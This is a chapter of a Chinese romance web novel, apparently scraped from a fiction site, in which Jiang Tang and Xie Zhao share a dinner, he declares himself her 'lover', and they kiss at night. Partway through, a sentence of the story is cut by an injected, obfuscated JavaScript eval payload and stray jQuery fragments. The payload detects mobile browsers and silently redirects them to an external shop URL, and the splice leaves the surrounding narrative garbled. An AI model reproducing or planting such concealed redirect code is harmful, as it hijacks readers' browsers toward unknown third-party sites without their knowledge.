文趣网 > 其他小说 > 前夫好像要当皇帝了 > 62. 第六十二章
    这么大声,你这是认错还是吼我呢?

    “嘭。”

    一声刻意放大地开门声响起。

    同时更为刻意的加重脚步声从外间传来,略显急促的动静很快就绕过金桂长屏出现在两人面前。

    晴雨肩背都写满了紧绷,福身时更是直挺挺。

    “姑娘。”

    “到晚膳的点了,要现在传膳么?”

    话说完,那道本就极为不善的眼神,落在身上的感觉更为凶狠了,像一柄正出窍的绝世凶刃,落在身上的瞬间就让人毛骨悚然不寒而栗。

    晴雨害怕到快要发抖。

    但她忍住了。

    不能丢姑娘,也不能丢镇川侯府的脸面。

    姜棠看着晴雨有些发白的脸色,几步上前来到她的面前站定,同时皱眉看向谢肇。

    你凶她干什么?

    谢肇也看向了姜棠,眼缝渐窄,后槽牙逐渐咬紧。

    我哪有凶她?

    现在是你为了一个丫鬟来凶我!

    姜棠表情逐渐凶巴巴。

    谢肇:……

    他啧了一声移开了视线。

    “传膳吧。”

    姜棠回身笑望着晴雨,同时伸手拍了拍晴雨冰凉的手。

    还是姑娘好。

    太孙殿下的脾气真不好。

    他居然还吼姑娘。

    晴雨眼泪汪汪地看着姜棠,吸了吸鼻子,又福了一礼才退了出去。

    晴雨的出现打断了先前剑拔弩张的氛围,而等晴雨离开后,依旧站在屋中的两人,一个侧头看向窗外,一个垂眸看着屏风上的金桂。

    两个人都不看对方,也不说话。

    …………

    因没想到谢肇会光明正大留在这里用晚膳,所以晚膳并未特意准备。

    明羲堂那边收到消息,钱氏把自己的晚膳也拨了过去优先皎蕖院,只她近日晚膳都茹素,还不如姜棠原本的晚膳丰盛呢。

    四菜两汤四点心,其中两道点心是钱氏那边凑的。

    谢肇垂眸,将桌上所有的膳食都收进眼底后眉梢微挑。

    都是老熟菜?

    姜黄鱼、板栗炖鸡、上八珍豆腐、什锦素菜汇和秋梨燕窝、山药南瓜泥、琥珀核桃、金柿融冰并当归羊肉汤、莲子百合麦冬汤。

    除了金柿融冰这道甜品谢肇没用过,其他所有菜都是谢肇近期膳食里的常客。

    或滋阴或补元气,都是药膳。

    尤其是最后一道汤品,莲子百合麦冬汤,心悸失眠夜里不得安枕才用这汤。

    其他还可以辩解是秋日滋补,那这道汤呢?

    她夜里睡不好?

    谢肇久久不动筷,只定定看着桌上的膳食。

    姜棠悄悄地看了他一眼又一眼。

    他是嫌菜品简陋,还是依旧在生气?

    姜棠抿了抿唇。

    说实话,有一个男人愿意为你做到这种地步,提前防患于未然所有对你不利的一切,甚至以自己的功劳去换你的封赏,这种让渡自身利益只为让你更舒心的举动。

    说不感动是假的。

    只是感动为真,不肯轻易点头也是真。

    事实上若不是自己和谢肇有过一段短暂的姻缘,也相处过一段时日,有信任的基础,就他如今这个飞蛾扑火不达目的誓不罢休的架势。

    姜棠不仅不会感动,反而会愈发警惕。

    幼时所以回忆都是谢肇单方面的口述,姜棠没有参与其中,她真的没有真情实感。

    又疯了一样恨不得把世间所有好东西都堆到自己面前。

    他要害我!

    从小在市井挣扎长大的姜棠只会有这一个念头。

    幸好有了信任基础,也愿意相信他如今做的这一切都是出自本心,而不是其他坏心思。

    只是还是那句话。

    太短了。

    真心需要漫长岁月来验证。

    而且两人真正相处的时间,真的是太短了。

    姜棠又用余光悄悄撇了一眼左侧的谢肇。

    他依旧不动筷。

    愈发清晰的下颚线和不苟言笑的凝重眉眼,都在昭示着这人还在生气。

    姜棠回忆谢肇的饮食偏好。

    没有具体偏好,就一个字,肉。

    就爱吃肉。

    姜棠的视线落在了那道当归羊肉汤上,汤色清亮,羊肉已经炖的软烂,虽是药膳,细品还有一股奶香味。

    正在回忆姜棠身形到底瘦没瘦的谢肇,眼底忽然一只肤若凝脂的白润玉手,那只手在自己面前放了一碗满是羊肉的羊肉汤。

    许是察觉到了自己的视线,白里透粉的指尖颤了颤,飞快收回。

    谢肇挑了挑眉,笑意藏在微抿的唇间,他抬眸看向姜棠。

    姜棠已经起筷用膳。

    姿态优雅,细嚼慢咽。

    非常专注,专注到一丝余光都不肯分给旁人。

    谢肇双唇抿得更深了些,他没有动眼前这碗满是羊肉的羊肉汤,而是看向了那道姜黄鱼。

    指节分明苍劲有力的大手忽然出现在眼底,姜棠的动作顿了顿,她的视线先是被他的手吸引,而后落在了线条分明的手腕上。

    那串黑珍珠手串正戴在他的手上。

    几个月过去,珍珠光泽半分损伤都没有,依旧莹莹生辉,这是主人精心养护的结果。

    直到珍珠手串消失在眼前,姜棠才看到面前那碗已经剃好鱼刺的鱼肉,朱唇微抿,眼尾一抹清浅笑意划过。

    等姜棠开始用那碗鱼肉后,谢肇才收回目光,嘴角翘了翘,开始用那碗羊肉。

    …………

    这次晚膳晴雨没有在一旁伺候,不仅没有伺候,还让院中所有人都回了房。

    就算大部分都知道了,掩耳盗铃也是好的。

    等里面传出动静,晴雨才端茶进去伺候,下意识看了一眼桌面,发现姜黄鱼和当归羊肉汤这两样菜品几乎被用尽了。

    其他菜品只是寥寥动了几筷,前几日姑娘特意点的金柿融冰居然是完好无损。

    晴雨:?

    不是想吃么,怎么没动?

    姜棠不知晴雨的疑惑,她在用完茶后就开始送客。

    “时辰不早了,你该回宫了。”

    谢肇听到姜棠赶客的话也不恼,动作都没停一下,慢条斯理吹了吹,又慢饮两口茶汤后,才放下杯盏看向姜棠。

    “我是谢行藏。”

    “不是你丈夫谢肇。”

    姜棠不明所以看着他。

    “所以,我现在是你的情人。”

    “咳咳——”

    姜棠直接被自己的口水呛到了,她侧头捂着嘴呛了两声,水雾渐起泛着轻红的眼睛非常不可思议地看着丢出惊雷还一脸平静的谢肇。

    “……你知道你在说什么吗?”

    前面还说如今两人是夫妻身份,如今又说要当情人?

    谢肇抬眸看了她一眼。

    “你不是不愿意和谢肇再续前缘?”

    “那就和谢行藏开启新的缘分。”

    姜棠:?

    有区别吗?

    谢肇、谢行藏不都是你吗?

    而且开启新的缘分,直接从情、情人开始吗?

    是不是太狂野了?

    “我这是通知你,不是征求你的意见。”

    谢肇站起身来,居高临下俯视着姜棠。

    “等你什么时候想休了谢肇,我就什么时候上位。”

    “我走了。”

    谢肇霸道宣布完,当真头也不回地走了。

    徒留一脸震惊的姜棠,目瞪口呆地看着他快步离开的背影。

    …………

    所以。

    这人的意思是,现在不愿意当太孙妃,没问题。

    想要相处一段时间互相再了解深刻一点,也没问题。

    正经丈夫谢肇放一边,情人谢行藏来了。

    姜棠理了好一会儿才算捋顺了谢肇这石破天惊的逻辑,她又气又想笑。

    哪有人一上来就说自己要当情人的?

    追求女子是这样追求的吗?

    就知道这是个臭不要脸的臭流氓。

    姜棠又羞又恼地锤了一下桌子。

    听到声响的晴雨从屏风后探头,她本来以为姑娘是在生气,毕竟虽然用膳的时候两人瞧着正常,可先前不是还吵

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946644|209705||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了一架么?

    声音贼大。

    不然自己也不会硬着头皮进去打断两人的谈话。

    谁料却见姑娘独坐灯前,晕黄的烛光也没挡住她脸上的羞红,粉颊藏春红,就连秋水点星的眸子里,好似也漾尽了春日绿波。

    哇哦。

    晴雨知道自己误会了。

    捂着嘴偷笑着退了出去。

    …………

    今夜姜棠没有在工作间忙碌多久,就连还算紧急的鸿胪寺特制版点瞳膏,她也没心思去调配。

    静不下心。

    完全静不下心。

    总是出神,只能整理香材,做些不需要动脑子的活计。

    这工作间耗了大半个时辰,夜色虽浓,却还远远不到她就寝的时辰。

    今夜月色甚美,月华散了整个小院,夜色的幽深和月华的莹莹完美地融合在了一处,形成了一种独特的美丽。

    姜棠本欲提灯夜下观花,却又想起了谢肇的话。

    你应该理所当然理直气壮地享受这一切。

    这一切是因你而生。

    姜棠在游廊上站了好一会,没去夜下观花,而是回了屋子。

    铺纸提笔研磨,给干娘写信。

    不必等鸿胪寺那边的回应了,再等又成郡主了,还是先给干娘报平安。

    还有黄娘子和县令夫人。

    一位是旧日情谊,一位是曾经的恩人。

    还有村里许多的婶婶和姐姐们。

    姜棠一算才知要写这么多封信,当即没空想那个讨人厌的家伙,只专心写信。

    本来还不知要如何跟干娘开口自己如今的身份,谁料笔落纸上后好似有了自己的想法,根本就不用自己思考,所有想说的话不停跃然纸上。

    等终于诉尽思念时,已是满满三页。

    这么多?

    姜棠正恍然之际,耳边传来轻扣三响。

    她下意识抬头看向小花窗。

    果然。

    又是谢肇。

    谢肇抱胸半倚在窗沿,随口问她。

    “给干娘写信呢?”

    显然他已经等了很久。

    “恩。”

    姜棠点头应了一声,起身来到小花窗前。

    “你怎么又来了?”

    这走了满打满算也就一个时辰?

    谢肇:“来问你,什么时候搬去县主府。”

    姜棠:……

    “我搬去县主府,你是不是就要住在那了?”

    “当然。”

    谢肇放下手臂站直身子,理直气壮又理所当然。

    “我都是你情人了,自然要和你住在一起的。”

    “不要。”

    姜棠拒绝的毫不犹豫。

    说起情人二字,姜棠还是没忍住。

    “哪有人一上来就要做情人的?”

    “我凭什么又要接受……”

    “就凭我男欢女爱之事,都是你教的。”

    谢肇俯身凑近姜棠,那双在夜色中依旧昳丽到惑人的眸子定定看着她,声色也喑哑了几分。

    “你忘了么?”

    “这世上只有我最会取悦你,因为是你手把手教的。”

    “我天生就该是你的情人。”

    轰。

    曾经的私密旧事涌上心头,姜棠的脸红得快滴血。

    当初只想让自己的初次不要那么难受,现在回旋镖狠狠地扎回来了。

    羞赧刚冲至眉心,后颈就传来不容抗拒的力道,她微微瞪大眼顺着那股子力气前倾,微张的朱唇在下一刻就被炙热的唇瓣噙住。

    谢肇没有闭眼。

    没有攻城略地,只是含着。

    控制着她后颈的大掌也没有松开。

    两双近在咫尺的眼睛就这么在亲密无间的动作下无声对视。

    良久后,姜棠的眼睛都有些酸了,这人眼中的执拗还是依旧。

    她无声叹了一声。

    缓缓闭上了眼睛,主动回应了他。

    终于得到回应的谢肇,用力抱住了终于愿意再临自己头顶的月亮,并非凶猛急切,而是闭着眼近乎虔诚的,一下再一下地吻着他的月亮。